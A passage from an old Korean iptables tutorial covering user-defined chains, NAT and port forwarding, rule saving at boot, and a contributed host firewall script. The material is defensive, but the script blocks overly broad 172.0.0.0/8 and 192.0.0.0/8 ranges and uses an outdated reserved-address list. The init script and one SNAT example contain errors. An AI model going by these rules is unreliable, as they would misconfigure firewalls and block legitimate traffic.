    이제 패킷에서 어떤 검사를 할 수 있는지를 알았다. 이제 우리의 검사에 일치 하는 패킷을 어떻게 할 것인지를 말하는 것을 알아야 한다. 이것을 규칙 타겟 이라고 한다.

    두개의 이미 만들어진 단순한 타겟이 있다. : DROP 과 ACCEPT. 이미 이것에 대해서는 이야기를 한 적이 있다. 적용이 되는 패킷과 그것의 타겟이 위의 두 개중 하나라면 더이상의 참고할 규칙은 없다. : 패킷의 운명은 결정 되는 것 이다.

    이미 만들어진 두개의 타겟외에 두가지 형태의 타겟이 있다.: 확장과 사용자 지정의 체인들 이다.

    ****사용자 지정의 체인들

    ipchains로 부터 상속되는 iptables의 강력한 기능중의 하나는 능력되는 사용 자가 기존의 세개의 체인(입력, 출력, 포워드)외에 새로운 체인을 생성할 수 있다는 것이다. 모임의 결과 사용자 지정의 체인은 그것을 구분하기 위하여 소문 자로 나타낸다. (아래 전체 체인에 대한 작용 부분에서 어떻게 사용자 지정의 새로운 체인을 만드는지 기술할 것이다.)

    타겟이 사용자 지정의 체인인 규칙에 패킷이 맞으면 패킷은 사용자 지정의 체인을 따라 움직이게 된다. 그 체인이 패킷의 운명을 결정하지 못하면 그리고 그 체인에 따른 이송이 끝나면, 패킷은 현제 체인의 다음 규칙으로 돌아온다.

    그림을 보자. 두개의 체인이 있고 그것이 입력과 테스트라는 사용자 지정의 체인이 라고 가정하자.

             `INPUT'                         `test'
            ----------------------------    ----------------------------
            | Rule1: -p ICMP -j DROP   |    | Rule1: -s 192.168.1.1    |
            |--------------------------|    |--------------------------|
            | Rule2: -p TCP -j test    |    | Rule2: -d 192.168.1.1    |
            |--------------------------|    ----------------------------
            | Rule3: -p UDP -j DROP    |
            ----------------------------

    192.168.1.1 로부터 와서 1.2.3.4 로 향하는 TCP 패킷이 있다고 가정한다. 이것은 입력 체인으로 들어온다. Rule1 을 검사한다. 맞지 않음. Rule2 맞음. 그것의 타겟 은 테스트, 고로 다음 검사할 규칙은 테스트의 시작이다. 테스트의 Rule1 이 맞다. 그러나 이것이 타겟을 지정하지 않는다. 그러므로 다음 규칙이 검사된다. Rule 2. 맞지 않다. 그 체인의 끝에 도달했다. 다시 입력 체인으로 돌아가서 Rule3 을 검사 한다. 그것도 맞지 않다.

    여기서 패킷의 이동경로를 그림으로 나타냈다.

                                   v    __________________________
            `INPUT'                |   /    `test'                v
           ------------------------|--/    -----------------------|----
           | Rule1                 | /|    | Rule1                |   |
           |-----------------------|/-|    |----------------------|---|
           | Rule2                 /  |    | Rule2                |   |
           |--------------------------|    -----------------------v----
           | Rule3                 /--+___________________________/
           ------------------------|---
                                   v

    사용자 지정의 체인에서 대를 사용자 지정의 체인으로 갈수 있다. (그러나 루프 를 돌수는 없다. 루프를 발견하게 되면 패킷은 DROP 된다.)

    잘못 설정한 예 - 순서를 바꾸어야 정상적으로 작동할 것이다.
    iptables -A input -p tcp --dport 0:1023 -j DROP
    iptables -A input -p tcp --dport 80 -j ACCEPT

    ***3.5 전체 체인에 대한 작용.

    iptables의 유용한 기능주 하나는 여러 관계가 있는 규칙을 하나의 체인속으로 그룹화 하는 것이다. 체인의 이름은 어떤 것을 사용할 수도 있으나 미리 만들어 진 체인과의 혼동을 막기 위하여 소문자를 사용하기를 권한다. 체인의 이름은 16 자 까지 가능하다.

    ****새로운 체인 생성

    # iptables -N test

    ****체인 제거
    '-X' 나 '--delete-chain' 사용

    # iptables -X test
    체인을 지우기 위해서는 체인이 비어있어야 하며 다른 규칙의 타겟이 아니어야 한다.

    ****체인 비우기
    '-F' ('--flush') 사용

    # iptables -F forward

    체인을 지정하지 않으면 모든 체인의 규칙이 지워진다.

    ****체인 규칙 나열하기
    '-L' 사용
    예)
    iptables -L INPUT
    iptables -t nat -L

    **4. NAT(Network Address Translation) 활용

    ***4-1 NAT 이란
    SNAT(Source Nat), DNAT(Destination Nat)

    [PREROUTING](DNAT) --> Routing ------------> [POSTROUTING](SNAT) -->
                            |                          ^
                            |                          |
    +- local Process ----------+  

    ****NAT의 활용

    *****예1)MASQUERADING
       iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

    *****예2) 고정IP 하나로 내부호스트들에 대한 서비스하기

       # soribada & dialpad for Sung-ho
       iptables -A PREROUTING -t nat -p udp --dport 9068 -j DNAT --to 192.168.1.7:9068
       iptables -A PREROUTING -t nat -p udp --dport 9067 -j DNAT --to 192.168.1.7:9067
       iptables -A PREROUTING -t nat -p udp --dport 9066 -j DNAT --to 192.168.1.7:9066
       iptables -A PREROUTING -t nat -p udp --dport 9065 -j DNAT --to 192.168.1.7:9065
       iptables -A PREROUTING -t nat -p tcp --dport 51210 -j DNAT --to 192.168.1.7:51210
       iptables -A PREROUTING -t nat -p udp --dport 51200 -j DNAT --to 192.168.1.7:51200
       iptables -A PREROUTING -t nat -p udp --dport 51201 -j DNAT --to 192.168.1.7:51201
       iptables -A PREROUTING -t nat -p tcp --dport 51210 -j DNAT --to 192.168.1.7:51210
       iptables -A PREROUTING -t nat -p udp --dport 51200 -j DNAT --to 192.168.1.7:51200
       iptables -A PREROUTING -t nat -p udp --dport 51201 -j DNAT --to 192.168.1.7:51201

       # nanumi for Sung-ho
       iptables -A PREROUTING -t nat -p udp --dport 9292 -j DNAT --to 192.168.1.7:9292
       iptables -A PREROUTING -t nat -p tcp --dport 9292 -j DNAT --to 192.168.1.7:9292

       # Winamp broadcast for Sung-ho
       iptables -A PREROUTING -t nat -p udp --dport 8000 -j DNAT --to 192.168.1.7:8000
       iptables -A PREROUTING -t nat -p tcp --dport 8000 -j DNAT --to 192.168.1.7:8000

       # ftp for Bokyu
       iptables -A PREROUTING -t nat -p udp --dport 2100 -j DNAT --to 192.168.1.5:2100
       iptables -A PREROUTING -t nat -p tcp --dport 2100 -j DNAT --to 192.168.1.5:2100

       # telnet for Bokyu
       iptables -A PREROUTING -t nat -p udp --dport 2300 -j DNAT --to 192.168.1.5:2300
       iptables -A PREROUTING -t nat -p tcp --dport 2300 -j DNAT --to 192.168.1.5:2300

       # www for Bokyu
       iptables -A PREROUTING -t nat -p udp --dport 8080 -j DNAT --to 192.168.1.5:8080
       iptables -A PREROUTING -t nat -p tcp --dport 8080 -j DNAT --to 192.168.1.5:8080

    *****예3) 투명프록시

    111.111.111.112   <->   192.168.1.2
    111.111.111.113   <->   192.168.1.3
    111.111.111.114   <->   192.168.1.4

    내부 호스트의 Gateway 192.168.1.1

    /etc/network/interfaces
    ------------------------------------------------------------------------
    # /etc/network/interfaces -- configuration file for ifup(8), ifdown(8)

    # The loopback interface
    # automatically added whe upgrading
    auto lo
    iface lo inet loopback

    # The first network card - this entry was created during the Debian installatio
    # (network, broadcast and gateway are optional)
    # automatically added whe upgrading

    auto eth0
    iface eth0 inet static
         address 111.111.111.112
         netmask 255.255.255.0
         broadcast 111.111.111.255
         network 111.111.111.0
         gateway 111.111.111.1

    auto eth0:0
    iface eth0:0 inet static
         address 111.111.111.113
         netmask 255.255.255.0
         broadcast 111.111.111.255
         network 111.111.111.0

    auto eth0:1
    iface eth0:1 inet static
         address 111.111.111.114
         netmask 255.255.255.0
         broadcast 111.111.111.255
         network 111.111.111.0

    auto eth1
    iface eth1 inet static
         address 192.168.1.1
         netmask 255.255.255.0
         broadcast 192.168.1.255
         network 192.168.1.0

    auto eth1:0
    iface eth1:0 inet static
         address 192.168.1.2
         netmask 255.255.255.0
         broadcast 192.168.1.255
         network 192.168.1.0
    ------------------------------------------------------------------------
    *nat
    -A PREROUTING -d 111.111.111.112 -j DNAT --to-destination 192.168.1.2
    -A PREROUTING -d 111.111.111.113 -j DNAT --to-destination 192.168.1.3
    -A PREROUTING -d 111.111.111.114 -j DNAT --to-destination 192.168.1.4    

    -A POSTROUTING -s 192.168.1.2 -j SNAT --to-source 111.111.111.102
    -A POSTROUTING -s 192.168.1.3 -j SNAT --to-source 111.111.111.103
    -A POSTROUTING -s 192.168.1.4 -j SNAT --to-source 111.111.111.104

    *****예4) 부하분산

    RoundRobin 방식에 의한 부하분산
    목적지 주소를 192.168.1.2 이나 192.168.1.3 또는 192.168.1.4로 바꾸기
    iptables -t nat -A PREROUTING -i eth1 -j DNAT --to 192.168.1.2-192.168.1.4


    **5. 시스템 부트시 초기화하기

    위에서 적용하였던 여러가지 Rule들을 저장하거나 복구하는 도구로서 iptables-save 와 iptables-restore 가 있다.
    간단한 예를 살펴보면
    # iptables-save > myRule

    아래는 생성된 myRule 파일이다.
    ------------------------------------------------------------------------------------
    # Generated by iptables-save v1.2.3 on Sat Oct 27 15:06:49 2001
    *nat
    :PREROUTING ACCEPT [865:65046]
    :POSTROUTING ACCEPT [4:752]
    :OUTPUT ACCEPT [162:9841]
    -A PREROUTING -p udp -m udp --dport 9068 -j DNAT --to-destination 192.168.1.7:9068
    -A PREROUTING -p udp -m udp --dport 9067 -j DNAT --to-destination 192.168.1.7:9067
    -A PREROUTING -p udp -m udp --dport 9066 -j DNAT --to-destination 192.168.1.7:9066
    -A PREROUTING -p udp -m udp --dport 9065 -j DNAT --to-destination 192.168.1.7:9065
    -A PREROUTING -p tcp -m tcp --dport 51210 -j DNAT --to-destination 192.168.1.7:51210
    -A PREROUTING -p udp -m udp --dport 51200 -j DNAT --to-destination 192.168.1.7:51200
    -A PREROUTING -p udp -m udp --dport 51201 -j DNAT --to-destination 192.168.1.7:51201
    -A PREROUTING -p tcp -m tcp --dport 51210 -j DNAT --to-destination 192.168.1.7:51210
    -A PREROUTING -p udp -m udp --dport 51200 -j DNAT --to-destination 192.168.1.7:51200
    -A PREROUTING -p udp -m udp --dport 51201 -j DNAT --to-destination 192.168.1.7:51201
    -A PREROUTING -p udp -m udp --dport 9292 -j DNAT --to-destination 192.168.1.7:9292
    -A PREROUTING -p tcp -m tcp --dport 9292 -j DNAT --to-destination 192.168.1.7:9292
    -A PREROUTING -p udp -m udp --dport 8000 -j DNAT --to-destination 192.168.1.7:8000
    -A PREROUTING -p tcp -m tcp --dport 8000 -j DNAT --to-destination 192.168.1.7:8000
    -A PREROUTING -p udp -m udp --dport 2100 -j DNAT --to-destination 192.168.1.5:2100
    -A PREROUTING -p tcp -m tcp --dport 2100 -j DNAT --to-destination 192.168.1.5:2100
    -A PREROUTING -p udp -m udp --dport 2300 -j DNAT --to-destination 192.168.1.5:2300
    -A PREROUTING -p tcp -m tcp --dport 2300 -j DNAT --to-destination 192.168.1.5:2300
    -A PREROUTING -p udp -m udp --dport 8080 -j DNAT --to-destination 192.168.1.5:8080
    -A PREROUTING -p tcp -m tcp --dport 8080 -j DNAT --to-destination 192.168.1.5:8080
    -A POSTROUTING -o eth0 -j MASQUERADE
    COMMIT
    # Completed on Sat Oct 27 15:06:49 2001
    --------------------------------------------------------------------------------------
                                                 
    # iptables-restore myRule

    위의 과정은 현재 설정되어 있는 Rule 을 myRule 파일에 저장하고 다시 저장되었던 Rule 을 복구하는 방법이다.
    하지만 이러한 방법보다는 필자의 경우는 다음과 같은 형식의 스크립트를 /etc/init.d/myRule 이라는 스크립트로 만들어서 저장하고 Runlevel 2 에서 이를 적용하여 사용하고 있다.


    ----------------------------------------------------------------------------
    /etc/init.d/myRule
    #/bin/sh

    case "$1" in
       start)
       echo "iptables myRule start"
       iptables-restore /etc/myRule.conf
    stop)
       echo "iptables myRule stop"
       iptables -F
       iptables -t nat -F
       ;;
    restart)
       echo "iptables stop"
       iptables -F
       iptables -t nat -F
       echo "iptables start"
       iptables-restore /etc/myRule.conf
    esac
    exit 0
    ----------------------------------------------------------------------------

    스크립트에서는 myRule.conf 파일을 읽어서 시스템 부트시 설정을 복구하고 있다.
    myRule.conf 파일을 만드는 법은 아마도 다 아시리라는 생각을 한다. ^^;
    iptables-save 로 해서 만들경우의 단점은 아무래도 주석부분이 아닐까 한다.
    즉 iptables-save로서 만든후에 부분부분 주석을 넣어놓는것도 좋은 방법중의 하나일 것이다.

    **6. 방화벽 설정의 예

    아래의 예는 조대원님(PCHarley)의 설정입니다. 참고로 첨부하였습니다.
    ----------------------------------------------------------------------
    #!/bin/sh

    ###### TCP 변수 설정 ######

    # 외부로 서비스할 데몬의 포트 지정
    # 20 : ftp-data port
    # 21 : ftp port
    # 22 : ssh port
    # 25 : smtp port
    # 80 : http port
    # 113 : auth ident port
    TCP_ALLOWPORT="20 21 22 25 80 113"
    TCP_DENYPORT=1024

    # 특정 호스트에 특정 포트를 개방
    # 선별적인 호스트에 대하여 선별적인 서비스 오픈과 DNS Zone Transfer를 위해
    # 사용하면 편리 
    # <호스트ip주소>:<포트> 형식으로 사용
    #TCP_HOSTPERPORT=""

    # 출발지 포트로 오픈을 결정
    # 클라이언트 프로그램을 사용하기 위하여 1024 이하의 특정 포트를 개방
    # 21 : ftp 서버 응답 포트
    # 22 : ssh 서버 응답 포트
    # 23 : telnet 서버 응답 포트
    # 25 : mail 서버 응답 포트
    # 43 : whois 응답 포트
    # 53 : dns 서버 응답 포트
    # 79 : finger 서버 응답 포트
    # 80 : httpd 서버 응답 포트
    # 110 : pop3 서버 응답 포트
    # 113 : AUTH 서버 응답 포트
    # 119 : nntp 서버 응답 포트
    # 443 : https 서버 응답 포트
    TCP_ALLOWSPORT="21 22 23 25 53 80 110 113 119 443"

    ###### UDP 변수 설정 #######

    # UDP의 경우에는 이 프로토콜의 특성상 위험한 서비스가 많다.
    # 이 프로토콜을 이용하는 서비스를 허용해야 할 경우에는 주의를 하는것이 좋다

    # 외부로 서비스할 데몬의 포트
    #UDP_ALLOWPORT=""
    UDP_DENYPORT=1024

    # 특정 호스트에 특정 포트를 개방
    # 선별적인 호스트에 대하여 선별적인 서비스 오픈과 DNS Zone Transfer를 위해
    # 사용하면 편리 
    # <호스트ip주소>:<포트> 형식으로 사용
    #UDP_HOSTPERPORT=""

    # 출발지 포트로 오픈을 결정
    # 클라이언트 프로그램을 사용하기 위하여 1024 이하의 특정 포트를 개방
    # 53 : dns 서버 응답 포트
    UDP_ALLOWSPORT="53"

    ###### 디폴트변수 설정 ######

    IPTABLES=/sbin/iptables
    IPADD="<ip Address>"

    # 루트 권한으로 운영되는 포트들
    PRIVPORTS="0:1023"

    # 일반 권한으로도 운영될수 있는 포트들
    UNPRIVPORTS="1024:65535"


    # 리눅스 머신이 GATEWAY나 MASQ로 사용될 경우 spoof 공격이나 잘 알려진
    # 위험한 주소로 부터 오는 공격을 막기 위한 변수 설정
    LOOPBACK="127.0.0.0/8"
    BROADCAST_SRC="0.0.0.0"
    BROADCAST_DEST="255.255.255.255"
    CLASS_A="10.0.0.0/8"
    CLASS_B="172.0.0.0/8"
    CLASS_C="192.0.0.0/8"
    CLASS_D_MULTICAST="224.0.0.0/4"
    CLASS_E_RESERVED_NET="240.0.0.0/5"

    ###### kernel tunable parameter ######

    # 어떤 인터페이스에서도 ping 에 반응하지 못하도록
    echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

    # 브로드캐스트, 멀티캐스트 주소에 ICMP 메세지 보내는것 막기.
    # smuf 공격 방지
    echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts

    # ip 소스 라우팅을 방지(디폴트로 0이 되어 있지만 확실하게 하기 위함)
    # ip 소스 라우팅이 허용될 경우 모든 방화벽 설정이 필요없게 된다.
    for f in /proc/sys/net/ipv4/conf/*/accept_source_route
    do
      echo 0 > $f
    done

    # DOS(서비스 부인 공격)의 방법인 SYN Attack을 방지하기 위하여 TCP syncookies를 enable
    echo 1 > /proc/sys/net/ipv4/tcp_syncookies

    # icmp_redirect 메세지를 거부
    for f in /proc/sys/net/ipv4/conf/*/accept_redirects
    do
       echo 0 > $f
    done

    # gateway나 Masquerading 머신으로 사용한다면 이 옵션은 반드시 포함 하여야 한다.
    # echo 1 > /proc/sys/net/ipv4/ip_always_defrag

    # 정의되지 않은 에러 메세지를 막음
    echo 1 > /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses

    # ip sppof 방지
    for pfile in /proc/sys/net/ipv4/conf/*/rp_filter
    do
       echo 1 > $pfile
    done

    # Log Spoofed Packets, Source Routed Packets, Redirect Packets 등을 탐지하면 로그파일에 기록
    echo 1 > /proc/sys/net/ipv4/conf/all/log_martians

    ##### 초기화 #####
    # 호스트가 X 윈도도 깔리지 않은 서버용으로 운영될 경우에는 OUTPUT 기본 정책도
    # DROP으로 하는것이 안전하다.
    ${IPTABLES} -F INPUT
    ${IPTABLES} -P INPUT DROP
    ${IPTABLES} -F OUTPUT
    ${IPTABLES} -P OUTPUT ACCEPT
    ${IPTABLES} -F FORWARD
    ${IPTABLES} -P FORWARD DROP

    ###### INPUT ######
    ###### TCP ######

    # local loopback 허용
    ${IPTABLES} -A INPUT -i lo -j ACCEPT

    # 1024 밑에 루트에 의해 서버가 사용할 포트 오픈
    for values in ${TCP_ALLOWPORT}
    do
       ${IPTABLES} -A INPUT -i eth0 -p tcp --dport ${values} -j ACCEPT
    done

    # 특정 호스트로의 포트를 개방
    #for values in ${TCP_HOSTPERPORT}
    #do
    #   echo ${values} | {
    #   IFS=':' read hosts ports
    #        ${IPTABLES} -A INPUT -s ${hosts} -p tcp --dport ${ports} -j ACCEPT
    #        }
    #done

    # 출발 포트가 초기 접속이 아닌 경우 허가된 포트에 대해서만 허가
    for values in ${TCP_ALLOWSPORT}
    do
       ${IPTABLES} -A INPUT -i eth0 -p tcp ! --syn --sport ${values} ! --dport ${PRIVPORTS} -j ACCEPT
    done

    # ftp 노말 모드의 경우 클라이언트에서 서버로 접속을 요청할 경우 서버의
    # 20포트에서 클라이언트로 초기 접속을 요청하므로 20번 포트에서 초기 접속을
    # 허가해줘야함 이는 일종에 보안 구멍을 유발 하므로 passive mode 나 proxy를
    # 사용해서 이 hole을 막을는 것이 좋다
    # 만약 일반 모드로의 접속을 허용해야 한다면 잘 알려진 위험한 포트를 제외한
    # 나머지 포트로만 허용을 해야한다.

    # open window 포트로의 서비스 요구 거부
    ${IPTABLES} -A INPUT -i eth0 -p tcp --sport 20 --dport 2000 -j LOG --log-prefix "To 20 From 2000 DROP"
    ${IPTABLES} -A INPUT -i eth0 -p tcp --sport 20 --dport 2000 -j DROP
    # NFS 포트로의 서비스 요구 거부
    ${IPTABLES} -A INPUT -i eth0 -p tcp --sport 20 --dport 2049 -j LOG --log-prefix "To 20 From 2049 DROP"
    ${IPTABLES} -A INPUT -i eth0 -p tcp --sport 20 --dport 2049 -j DROP
    # xwindow 포트로의 서비스 요구 거부
    ${IPTABLES} -A INPUT -i eth0 -p tcp --sport 20 --dport 6000:6010 -j LOG  --log-prefix "To 20 From 6000:6010 DROP"
    ${IPTABLES} -A INPUT -i eth0 -p tcp --sport 20 --dport 6000:6010 -j DROP

    ${IPTABLES} -A INPUT -i eth0 -p tcp --sport 20 --dport ${UNPRIVPORTS} -j ACCEPT

    # 1024:65535 포트는 초기 접속이 아닌경우 허가 - ftp passive mode와 apt-get
    # 에서 필요.
    # 1023이하 허용할 출발 포트는 사용하는 클라이언트에 따라 위에서 직접 지정

    ${IPTABLES} -A INPUT -i eth0 -p tcp ! --syn --sport ${UNPRIVPORTS} --dport ${UNPRIVPORTS} -j ACCEPT

    ###### UDP ######

    # 열어줄 포트 개방 1024 밑에 포트
    # for values in ${UDP_ALLOWPORT}
    # do
    #     ${IPTABLES} -A INPUT -p tcp --dport ${values} -j ACCEPT
    # done

    # 특정 호스트로의 포트를 개방
    # for values in ${UDP_HOSTPERPORT}
    # do
    #     echo ${values} | {
    #     IFS=':' read hosts ports
    #         ${IPTABLES} -A INPUT -s ${hosts} -p udp --dport ${ports} -j ACCEPT
    #         }
    # done

    # 상대편 포트를 보고 허가
    # UDP는 특성상 -syn같은 옵션으로 초기 접속을 제한할 수가 없다.
    # 그렇기때문에 UDP 프로토콜에 대해서는 허가할 서비스에 대해 상당한 주의가
    # 요망 된다.
    for values in ${UDP_ALLOWSPORT}
    do
       ${IPTABLES} -A INPUT -i eth0 -p udp --sport ${values} ! --dport ${PRIVPORTS} -j ACCEPT
    done


    # ICMP

    # 죽음의 핑이라 불리는 DOS(서비스 거부)공격에 사용되는 프로토콜이다.
    # 내부 호스트에 이익이 되는것만을 선별해서 허용해야 한다.

    # echo-reply (pong) - 0
    # destination-unreachable - 3
    # source-quench - 4
    # redirect - 5
    # echo-request (ping) - 8
    # time-exceeded (ttl-exceeded) - 11
    # parameter-problem - 12

    # icmp 패킷 유형중 echo-reply(0)를 허가함
    # 이 호스트가 외부 호스트로 ping을 사용하기 위해 pong은 허가
    ${IPTABLES} -A INPUT -i eth0 -p icmp --icmp-type echo-reply -j ACCEPT

    # icmp 패킷 유형중 destination-unreachable(3) 을 허가함
    ${IPTABLES} -A INPUT -i eth0 -p icmp --icmp-type destination-unreachable -j ACCEPT

    # icmp 패킷 유형중 source-quench(4) 를 허가함
    ${IPTABLES} -A INPUT -i eth0 -p icmp --icmp-type source-quench -j ACCEPT

    #  host에서 실행하는 traceroute 를 허용하기 위해 icmp time-exceeded(11)을
    # 허용
    ${IPTABLES} -A INPUT -i eth0 -p icmp --icmp-type time-exceeded -j ACCEPT

    # icmp 패킷 유형중 parameter-problem(12)을 허가함
    ${IPTABLES} -A INPUT -i eth0 -p icmp --icmp-type parameter-problem -j ACCEPT



    ###### deny 정책 #######
    # deny 정책을 하기전에 먼저 허가할 것을 명시해야만 한다.

    # ping을 이용한 DOS 공격에 대비하여 echo-request를 거부
    ${IPTABLES} -A INPUT -i eth0 -p icmp --icmp-type echo-request -j LOG --log-prefix "PING REJECT"
    ${IPTABLES} -A INPUT -i eth0 -p icmp --icmp-type echo-request -j REJECT

    # icmp-type redirect(5) 거부
    # 이것이 허용되면 외부에서 이 호스트의 라우팅 테이블을 임의로 조작할 수가 있게 된다.
    ${IPTABLES} -A INPUT -i eth0 -p icmp --icmp-type redirect -j LOG --log-prefix "icmp-type 5 DROP"
    ${IPTABLES} -A INPUT -i eth0 -p icmp --icmp-type redirect -j DROP

    # 그외 허가 되지 않은 1023이하의 포트 모두를 막음
    ${IPTABLES} -A INPUT -i eth0 -p tcp --dport 1:${TCP_DENYPORT} -j LOG --log-prefix "Under 1024 Tcp DROP"
    ${IPTABLES} -A INPUT -i eth0 -p udp --dport 1:${TCP_DENYPORT} -j LOG --log-prefix "Under 1024 Udp DROP"
    ${IPTABLES} -A INPUT -i eth0 -p tcp --dport 1:${TCP_DENYPORT} -j DROP
    ${IPTABLES} -A INPUT -i eth0 -p udp --dport 1:${TCP_DENYPORT} -j DROP

    # 외부에서 허가된 tcp 접속 요청 제외한 모든 tcp접속 요청을 거부함
    ${IPTABLES} -A INPUT -i eth0 -p tcp --syn -j LOG --log-prefix "TCP SYN REJECT"
    ${IPTABLES} -A INPUT -i eth0 -p tcp --syn -j REJECT


    # 그밖의 확인할수 없는 패킷을 모두 DROP
    ${IPTABLES} -A INPUT -i eth0 -m state --state INVALID -j LOG --log-prefix "INVALID DROP"
    ${IPTABLES} -A INPUT -i eth0 -m state --state INVALID -j DROP


    ###### OUTPUT ######


    # local loopback 은 모든 패킷을 허용
    ${IPTABLES} -A OUTPUT -o lo -j ACCEPT

    #ICMP OUTPUT DROP
    ${IPTABLES} -A OUTPUT -o eth0 -p icmp --icmp-type echo-reply -j LOG --log-prefix "ICMP output DROP"
    ${IPTABLES} -A OUTPUT -o eth0 -p icmp --icmp-type destination-unreachable -j LOG --log-prefix "ICMP output DROP"
    ${IPTABLES} -A OUTPUT -o eth0 -p icmp --icmp-type time-exceeded -j LOG --log-prefix "ICMP output DROP"
    ${IPTABLES} -A OUTPUT -o eth0 -p icmp --icmp-type echo-reply -j DROP
    ${IPTABLES} -A OUTPUT -o eth0 -p icmp --icmp-type destination-unreachable -j DROP
    ${IPTABLES} -A OUTPUT -o eth0 -p icmp --icmp-type time-exceeded -j DROP


    ###### 사설 ip 및 기타 거부 ######
    ${IPTABLES} -A INPUT -i eth0 -s ${CLASS_A} -j LOG --log-prefix "CLASS_A DROP"
    ${IPTABLES} -A INPUT -i eth0 -s ${CLASS_A} -j LOG --log-prefix "CLASS_A DROP"
    ${IPTABLES} -A OUTPUT -o eth0 -s ${CLASS_A} -j LOG --log-prefix "CLASS_A DROP"
    ${IPTABLES} -A OUTPUT -o eth0 -d ${CLASS_A} -j LOG --log-prefix "CLASS_A DROP"
    ${IPTABLES} -A INPUT -i eth0 -s ${CLASS_A} -j DROP
    ${IPTABLES} -A INPUT -i eth0 -d ${CLASS_A} -j DROP
    ${IPTABLES} -A OUTPUT -o eth0 -s ${CLASS_A} -j DROP
    ${IPTABLES} -A OUTPUT -o eth0 -d ${CLASS_A} -j DROP

    ${IPTABLES} -A INPUT -i eth0 -s ${CLASS_B} -j LOG --log-prefix "CLASS_B DROP"
    ${IPTABLES} -A INPUT -i eth0 -s ${CLASS_B} -j LOG --log-prefix "CLASS_B DROP"
    ${IPTABLES} -A OUTPUT -o eth0 -s ${CLASS_B} -j LOG --log-prefix "CLASS_B DROP"
    ${IPTABLES} -A OUTPUT -o eth0 -d ${CLASS_B} -j LOG --log-prefix "CLASS_B DROP"
    ${IPTABLES} -A INPUT -i eth0 -s ${CLASS_B} -j DROP
    ${IPTABLES} -A INPUT -i eth0 -d ${CLASS_B} -j DROP
    ${IPTABLES} -A OUTPUT -o eth0 -s ${CLASS_B} -j DROP
    ${IPTABLES} -A OUTPUT -o eth0 -d ${CLASS_B} -j DROP

    ${IPTABLES} -A INPUT -i eth0 -s ${CLASS_C} -j LOG --log-prefix "CLASS_C DROP"
    ${IPTABLES} -A INPUT -i eth0 -s ${CLASS_C} -j LOG --log-prefix "CLASS_C DROP"
    ${IPTABLES} -A OUTPUT -o eth0 -s ${CLASS_C} -j LOG --log-prefix "CLASS_C DROP"
    ${IPTABLES} -A OUTPUT -o eth0 -d ${CLASS_C} -j LOG --log-prefix "CLASS_C DROP"
    ${IPTABLES} -A INPUT -i eth0 -s ${CLASS_C} -j DROP
    ${IPTABLES} -A INPUT -i eth0 -d ${CLASS_C} -j DROP
    ${IPTABLES} -A OUTPUT -o eth0 -s ${CLASS_C} -j DROP
    ${IPTABLES} -A OUTPUT -o eth0 -d ${CLASS_C} -j DROP
    ${IPTABLES} -A OUTPUT -o eth0 -d ${CLASS_C} -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s ${LOOPBACK} -j LOG --log-prefix "INPUT loopback DROP"
    ${IPTABLES} -A OUTPUT -o eth0 -s ${LOOPBACK} -j LOG --log-prefix "INPUT loopback REJECT"
    ${IPTABLES} -A INPUT -i eth0 -s ${LOOPBACK} -j DROP
    ${IPTABLES} -A OUTPUT -o eth0 -s ${LOOPBACK} -j REJECT

    ${IPTABLES} -A INPUT -i eth0 -s ${BROADCAST_DEST} -j LOG --log-prefix "Broadcast_dest DROP"
    ${IPTABLES} -A INPUT -i eth0 -d ${BROADCAST_DEST} -j LOG --log-prefix "Broadcast_src DROP"
    ${IPTABLES} -A INPUT -i eth0 -s ${BROADCAST_DEST} -j DROP
    ${IPTABLES} -A INPUT -i eth0 -d ${BROADCAST_DEST} -j DROP

    # class D multicast address 거부
    # multicast 는 소스 주소로는 불법
    ${IPTABLES} -A INPUT -i eth0 -s ${CLASS_D_MULTICAST} -j LOG --log-prefix "class D Multicast DROP"
    ${IPTABLES} -A INPUT -i eth0 -s ${CLASS_D_MULTICAST} -j DROP

    ${IPTABLES} -A INPUT -i eth0 -s ${CLASS_E_RESERVED_NET} -j LOG --log-prefix "class E reserved net DROP"
    ${IPTABLES} -A INPUT -i eth0 -s ${CLASS_E_RESERVED_NET} -j DROP

    # refuse addresses defined as reserved by the IANA
    # 0.*.*.*, 1.*.*.*, 2.*.*.*, 5.*.*.*, 7.*.*.*, 23.*.*.*, 27.*.*.*
    # 31.*.*.*, 37.*.*.*, 39.*.*.*, 41.*.*.*, 42.*.*.*, 58-60.*.*.*
    # 65-95.*.*.*, 96-126.*.*.*, 197.*.*.*, 201.*.*.* (?), 217-223.*.*.*
    ${IPTABLES} -A INPUT -i eth0 -s 1.0.0.0/8 -j LOG --log-prefix "IANA reserved DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 2.0.0.0/8 -j LOG --log-prefix "IANA reserved DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 5.0.0.0/8 -j LOG --log-prefix "IANA reserved DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 7.0.0.0/8 -j LOG --log-prefix "IANA reserved DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 23.0.0.0/8 -j LOG --log-prefix "IANA reserved DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 27.0.0.0/8 -j LOG --log-prefix "IANA reserved DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 31.0.0.0/8 -j LOG --log-prefix "IANA reserved DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 37.0.0.0/8 -j LOG --log-prefix "IANA reserved DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 39.0.0.0/8 -j LOG --log-prefix "IANA reserved DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 41.0.0.0/8 -j LOG --log-prefix "IANA reserved DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 42.0.0.0/8 -j LOG --log-prefix "IANA reserved DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 58.0.0.0/7 -j LOG --log-prefix "IANA reserved DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 60.0.0.0/8 -j LOG --log-prefix "IANA reserved DROP"
    ${IPTABLES} -A INPUT -i eth0 -s 1.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 2.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 5.0.0.0/8 -j DROP
    ${IPTABLES} -A INPUT -i eth0 -s 7.0.0.0/8 -j DROP
